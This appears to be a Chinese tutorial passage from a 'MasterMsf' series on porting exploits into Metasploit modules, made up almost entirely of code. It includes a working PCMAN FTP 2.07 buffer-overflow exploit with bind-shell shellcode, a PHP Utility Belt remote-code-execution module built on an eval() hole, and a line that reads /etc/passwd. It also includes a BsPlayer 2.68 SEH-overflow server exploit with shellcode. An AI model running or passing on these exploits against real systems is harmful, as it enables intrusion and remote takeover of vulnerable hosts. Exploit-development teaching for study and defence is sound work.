MasterMsf | 04 渗透模块的移植

import socket as s
from sys import argv

if(len(argv) != 4):
    print "USAGE: %s host <user> <password>" % argv[0]
    exit(1)
else:
    #store command line arguments
    script,host,fuser,fpass=argv
    #vars
    junk = '\x41' * 2006 #overwrite function (CWD) with garbage/junk chars
    espaddress = '\x1c\x81\xd0\x7d'
    nops = '\x90' * 10
    shellcode = ( # BIND SHELL | PORT 4444
        "\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x74\x24\xf4"
        "\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a\x75\x1c"
        "\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3\x56\x07"
        "\x0b\x51\x43\x9c\x79\x7e\x64\x15\x37\x58\x4b\xa6\xf6\x64\x07"
        "\x64\x99\x18\x5a\xb9\x79\x20\x95\xcc\x78\x65\xc8\x3f\x28\x3e"
        "\x86\x92\xdc\x4b\xda\x2e\xdd\x9b\x50\x0e\xa5\x9e\xa7\xfb\x1f"
        "\xa0\xf7\x54\x14\xea\xef\xdf\x72\xcb\x0e\x33\x61\x37\x58\x38"
        "\x51\xc3\x5b\xe8\xa8\x2c\x6a\xd4\x66\x13\x42\xd9\x77\x53\x65"
        "\x02\x02\xaf\x95\xbf\x14\x74\xe7\x1b\x91\x69\x4f\xef\x01\x4a"
        "\x71\x3c\xd7\x19\x7d\x89\x9c\x46\x62\x0c\x71\xfd\x9e\x85\x74"
        "\xd2\x16\xdd\x52\xf6\x73\x85\xfb\xaf\xd9\x68\x04\xaf\x86\xd5"
        "\xa0\xbb\x25\x01\xd2\xe1\x21\xe6\xe8\x19\xb2\x60\x7b\x69\x80"
        "\x2f\xd7\xe5\xa8\xb8\xf1\xf2\xcf\x92\x45\x6c\x2e\x1d\xb5\xa4"
        "\xf5\x49\xe5\xde\xdc\xf1\x6e\x1f\xe0\x27\x20\x4f\x4e\x98\x80"
        "\x3f\x2e\x48\x68\x2a\xa1\xb7\x88\x55\x6b\xce\x8f\x9b\x4f\x82"
        "\x67\xde\x6f\x34\x2b\x57\x89\x5c\xc3\x31\x01\xc9\x21\x66\x9a"
        "\x6e\x5a\x4c\xb6\x27\xcc\xd8\xd0\xf0\xf3\xd8\xf6\x52\x58\x70"
        "\x91\x20\xb2\x45\x80\x36\x9f\xed\xcb\x0e\x77\x67\xa2\xdd\xe6"
        "\x78\xef\xb6\x8b\xeb\x74\x47\xc2\x17\x23\x10\x83\xe6\x3a\xf4"
        "\x39\x50\x95\xeb\xc0\x04\xde\xa8\x1e\xf5\xe1\x31\xd3\x41\xc6"
        "\x21\x2d\x49\x42\x16\xe1\x1c\x1c\xc0\x47\xf7\xee\xba\x11\xa4"
        "\xb8\x2a\xe4\x86\x7a\x2d\xe9\xc2\x0c\xd1\x5b\xbb\x48\xed\x53"
        "\x2b\x5d\x96\x8e\xcb\xa2\x4d\x0b\xfb\xe8\xcc\x3d\x94\xb4\x84"
        "\x7c\xf9\x46\x73\x42\x04\xc5\x76\x3a\xf3\xd5\xf2\x3f\xbf\x51"
        "\xee\x4d\xd0\x37\x10\xe2\xd1\x1d\x1a\xcd")
    sploit = junk+espaddress+nops+shellcode
    #create socket
    conn = s.socket(s.AF_INET,s.SOCK_STREAM)
    #establish connection to server
    conn.connect((host,21))
    #post ftp user
    conn.send('USER '+fuser+'\r\n')
    #wait for response
    uf = conn.recv(1024)
    #post ftp password
    conn.send('PASS '+fpass+'\r\n')
    #wait for response
    pf = conn.recv(1024)
    #send ftp command with sploit
    conn.send('CWD '+sploit+'\r\n')
    cf = conn.recv(1024)
    #close connection
    conn.close()

port: 21
Offset: 2006
jmp_esp: 0x7dd0811c
nops_num: 10
# added by us
username: anonymous
password: anonymous

class MetasploitModule < Msf::Exploit::Remote
	Rank = NormalRanking
	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
	    super(update_info(info,
			'Name'		=> 'PCMAN FTP 2.07 CWD Command Buffer Overflow',
			'Description' => %q{
				PCMAN FTP 2.07 CWD Command Buffer Overflow Example
			},
			'Platform'	=> 'win',
			'Author' => 'Rambo',
			'Targets'	=> [
						['Windows XP SP3', {'Ret' => 0x7dd0811c, 'Offset' => 2006}]
					   ],
			'Payload'       => {
						'Space'    => 1000,
						'BadChars' => "\x20\x0a\x0d\x00\xff\x40",
						},
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'VERBOSE' => true
				},
			'DisclosureDate' => 'Jan 29 2014'
		))
		register_options(
		[
			Opt::RPORT(21),
			OptString.new('FTPPASS', [true, 'FTP Password', 'anonymous'])
		], self.class)
	end

	def exploit
		c = connect_login
		return unless c
		buf = make_nops(target['Offset'])
		buf = buf + [target['Ret']].pack('V') + make_nops(10) + payload.encoded
		send_cmd(["CWD " + buf, false])
		disconnect
	end
end

    def check
        c = connect_login
        disconnect
        if c and banner =~ /220 PCMan's FTP Server 2\.0/
            vprint_status("Able to authenticate, and banner shows the vulnerable version")
            return Exploit::CheckCode::Appears
        elsif (not c) and banner =~ /220 PCMan's FTP Server 2\.0/
            vprint_status("Unable to authenticate, but banner shows the vulnerable version")
            return Exploit::CheckCode::Appears
        end
        return Exploit::CheckCode::Safe
    end

def check_host(ip)
  # Do your thing
end

FROM php:7.2-apache
MAINTAINER Bonan Ruan "xxx@rambo.com"

COPY src/ /var/www/html/
# executed when the image is being constructed
EXPOSE 80
EXPOSE 4444

docker build -t my-php-app .
docker run -d -p 8080:80 -p 4444:4444 --name my-running-app my-php-app

fwrite(fopen('info.php', 'w'),'<?php $a = "cat /etc/passwd"; echo shell_exec($a);?>');

# Home module (run arbitrary PHP)
if ( isset( $_POST['code'] ) ) {
	if ( false === eval( $_POST['code'] ) )
		echo 'PHP Error encountered, execution halted';
}

  # Connects to the server, creates a request, sends the request, reads the response
  # Passes +opts+ through directly to Rex::Proto::Http::Client#request_raw.
  def send_request_raw(opts={}, timeout = 20)
    if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
      actual_timeout = datastore['HttpClientTimeout']
    else
      actual_timeout =  opts[:timeout] || timeout
    end
    begin
      c = connect(opts)
      r = c.request_raw(opts)
  # ...

  # Connects to the server, creates a request, sends the request,
  # reads the response
  # Passes `opts` through directly to {Rex::Proto::Http::Client#request_cgi}.
  # @return (see Rex::Proto::Http::Client#send_recv))
  def send_request_cgi(opts={}, timeout = 20, disconnect = true)
    if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
      actual_timeout = datastore['HttpClientTimeout']
    else
      actual_timeout =  opts[:timeout] || timeout
    end

    print_line("*" * 20) if datastore['HttpTrace']

    begin
      c = connect(opts)
      r = c.request_cgi(opts)
      if datastore['HttpTrace']
        print_line('#' * 20)
        print_line('# Request:')
        print_line('#' * 20)
        print_line(r.to_s)
      end

      res = c.send_recv(r, actual_timeout)
  # ...

class ClientRequest

  DefaultUserAgent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
  DefaultConfig = {
    #
    # Regular HTTP stuff
    #
    'agent'                  => DefaultUserAgent,
    'cgi'                    => true,
    'cookie'                 => nil,
    'data'                   => '',
    'headers'                => nil,
    'raw_headers'            => '',
    'method'                 => 'GET',
    'path_info'              => '',
    'port'                   => 80,
    'proto'                  => 'HTTP',
    'query'                  => '',
    'ssl'                    => false,
    'uri'                    => '/',
    'vars_get'               => {},
    'vars_post'              => {},
    'version'                => '1.1',
    'vhost'                  => nil,

class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'      => 'PHP Utility Belt RCE',
            'Description' => %q{
                This module exploits a RCE vuln in PHP Utility Belt
            },
            'Platform'  => 'php',
            'Author' => 'Rambo',
            'Targets'   => [
                ['PHP Utility Belt', {}]
            ],
            'Payload'       => {
                'Space'    => 2000,
                'DisableNops' => true
            },
            'DisclosureDate' => 'May 16 2015',
            'DefaultTarget' => 0
        ))
        register_options(
        [
            OptString.new('TARGETURI', [true, 'The Path to PHP Utility Belt', '/ajax.php']),
            OptString.new('CHECKURI', [false, 'Checking Purpose', '/info.php'])
        ], self.class)

    end
    def check
        send_request_cgi(
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path),
            'vars_post' => {
                'code' => "fwrite (fopen('info.php', 'w'), '<?php echo phpinfo();?>');"
            }
        )
        resp = send_request_raw(
            'method' => 'GET',
            'uri' => normalize_uri(datastore['CHECKURI'])
        )
        if resp.body =~ /phpinfo()/
            return Exploit::CheckCode::Vulnerable
        else
            return Exploit::CheckCode::Safe
        end
    end
    def exploit
        send_request_cgi(
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path),
            'vars_post' => {
                'code' => payload.encoded
            }
        )
    end
end

    # Generate the payload
    e = EncodedPayload.create(payload,
        'BadChars'    => opts['BadChars'],
        'MinNops'     => opts['NopSledSize'],
        'Encoder'     => opts['Encoder'],
        'Iterations'  => opts['Iterations'],
        'ForceEncode' => opts['ForceEncode'],
        'DisableNops' => opts['DisableNops'],
        'Space'       => opts['MaxSize'])

Rank = ExcellentRanking

'Arch'           => ARCH_PHP

def check
  txt = Rex::Text.rand_text_alpha(8)
  res = http_send_command("echo #{txt};")

  if res && res.body.include?(txt)
    Exploit::CheckCode::Vulnerable
  else
    Exploit::CheckCode::Safe
  end
end

#!/usr/bin/python

import socket
import sys
s = socket.socket()         # Create a socket object
if(len(sys.argv) < 3):
  print "[x] Please enter an IP and port to listen to."
  print "[x] " + sys.argv[0] + " ip port"
  exit()
host = sys.argv[1]	    # Ip to listen to.
port = int(sys.argv[2])     # Reserve a port for your service.
s.bind((host, port))        # Bind to the port
print "[*] Listening on port " + str(port)
s.listen(5)                 # Now wait for client connection.
c, addr = s.accept()        # Establish connection with client.
# Sending the m3u file so we can reconnect to our server to send both the flv file and later the payload.
print(('[*] Sending the payload first time', addr))
c.recv(1024)
#seh and nseh.
buf =  ""
buf += "\xbb\xe4\xf3\xb8\x70\xda\xc0\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x33\x31\x58\x12\x83\xc0\x04\x03\xbc\xfd\x5a"
buf += "\x85\xc0\xea\x12\x66\x38\xeb\x44\xee\xdd\xda\x56\x94"
buf += "\x96\x4f\x67\xde\xfa\x63\x0c\xb2\xee\xf0\x60\x1b\x01"
buf += "\xb0\xcf\x7d\x2c\x41\xfe\x41\xe2\x81\x60\x3e\xf8\xd5"
buf += "\x42\x7f\x33\x28\x82\xb8\x29\xc3\xd6\x11\x26\x76\xc7"
buf += "\x16\x7a\x4b\xe6\xf8\xf1\xf3\x90\x7d\xc5\x80\x2a\x7f"
buf += "\x15\x38\x20\x37\x8d\x32\x6e\xe8\xac\x97\x6c\xd4\xe7"
buf += "\x9c\x47\xae\xf6\x74\x96\x4f\xc9\xb8\x75\x6e\xe6\x34"
buf += "\x87\xb6\xc0\xa6\xf2\xcc\x33\x5a\x05\x17\x4e\x80\x80"
buf += "\x8a\xe8\x43\x32\x6f\x09\x87\xa5\xe4\x05\x6c\xa1\xa3"
buf += "\x09\x73\x66\xd8\x35\xf8\x89\x0f\xbc\xba\xad\x8b\xe5"
buf += "\x19\xcf\x8a\x43\xcf\xf0\xcd\x2b\xb0\x54\x85\xd9\xa5"
buf += "\xef\xc4\xb7\x38\x7d\x73\xfe\x3b\x7d\x7c\x50\x54\x4c"
buf += "\xf7\x3f\x23\x51\xd2\x04\xdb\x1b\x7f\x2c\x74\xc2\x15"
buf += "\x6d\x19\xf5\xc3\xb1\x24\x76\xe6\x49\xd3\x66\x83\x4c"
buf += "\x9f\x20\x7f\x3c\xb0\xc4\x7f\x93\xb1\xcc\xe3\x72\x22"
buf += "\x8c\xcd\x11\xc2\x37\x12"

jmplong = "\xe9\x85\xe9\xff\xff"
nseh = "\xeb\xf9\x90\x90"
# Partially overwriting the seh record (nulls are ignored).
seh = "\x3b\x58\x00\x00"
buflen = len(buf)
response = "\x90" *2048 + buf + "\xcc" * (6787 - 2048 - buflen) + jmplong + nseh + seh #+ "\xcc" * 7000
c.send(response)
c.close()
c, addr = s.accept()        # Establish connection with client.
# Sending the m3u file so we can reconnect to our server to send both the flv file and later the payload.
print(('[*] Sending the payload second time', addr))
c.recv(1024)
c.send(response)
c.close()
s.close()

# Partially overwriting the seh record (nulls are ignored).
seh = "\x3b\x58\x00\x00"

class MetasploitModule < Msf::Exploit::Remote
	Rank = NormalRanking
	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
	    super(update_info(info,
			'Name'		=> 'BsPlayer 2.68 SEH Overflow Exploit',
			'Description' => %q{
				Here's an example of Server Based Exploit
			},
			'Platform'	=> 'win',
			'Author' => 'Rambo',
			'Targets'	=> [
						['Generic', {'Ret' => 0x0000583b, 'Offset' => 2048}]
					   ],
			'Payload'       => {
						'Space' => 500,
						'BadChars' => "\x20\x0a\x0d\x00"
						},
			'DisclosureDate' => 'Mar 24 2015'
		))
	end
	def on_client_connect(client)
		return if ((p = regenerate_payload(client)) == nil)
		print_status("Client Connected")
		sploit = make_nops(target['Offset'])
		sploit << payload.encoded
		sploit << "\xcc" * (6787 - 2048 - payload.encoded.length)
		sploit << "\xe9\x85\xe9\xff\xff" # long jmp
		sploit << "\xeb\xf9\x90\x90" # short jmp
		sploit << [target.ret].pack('V')
		client.put(sploit)
		client.get_once
		client.put(sploit)
		handler(client)
		service.close_client(client)
	end
end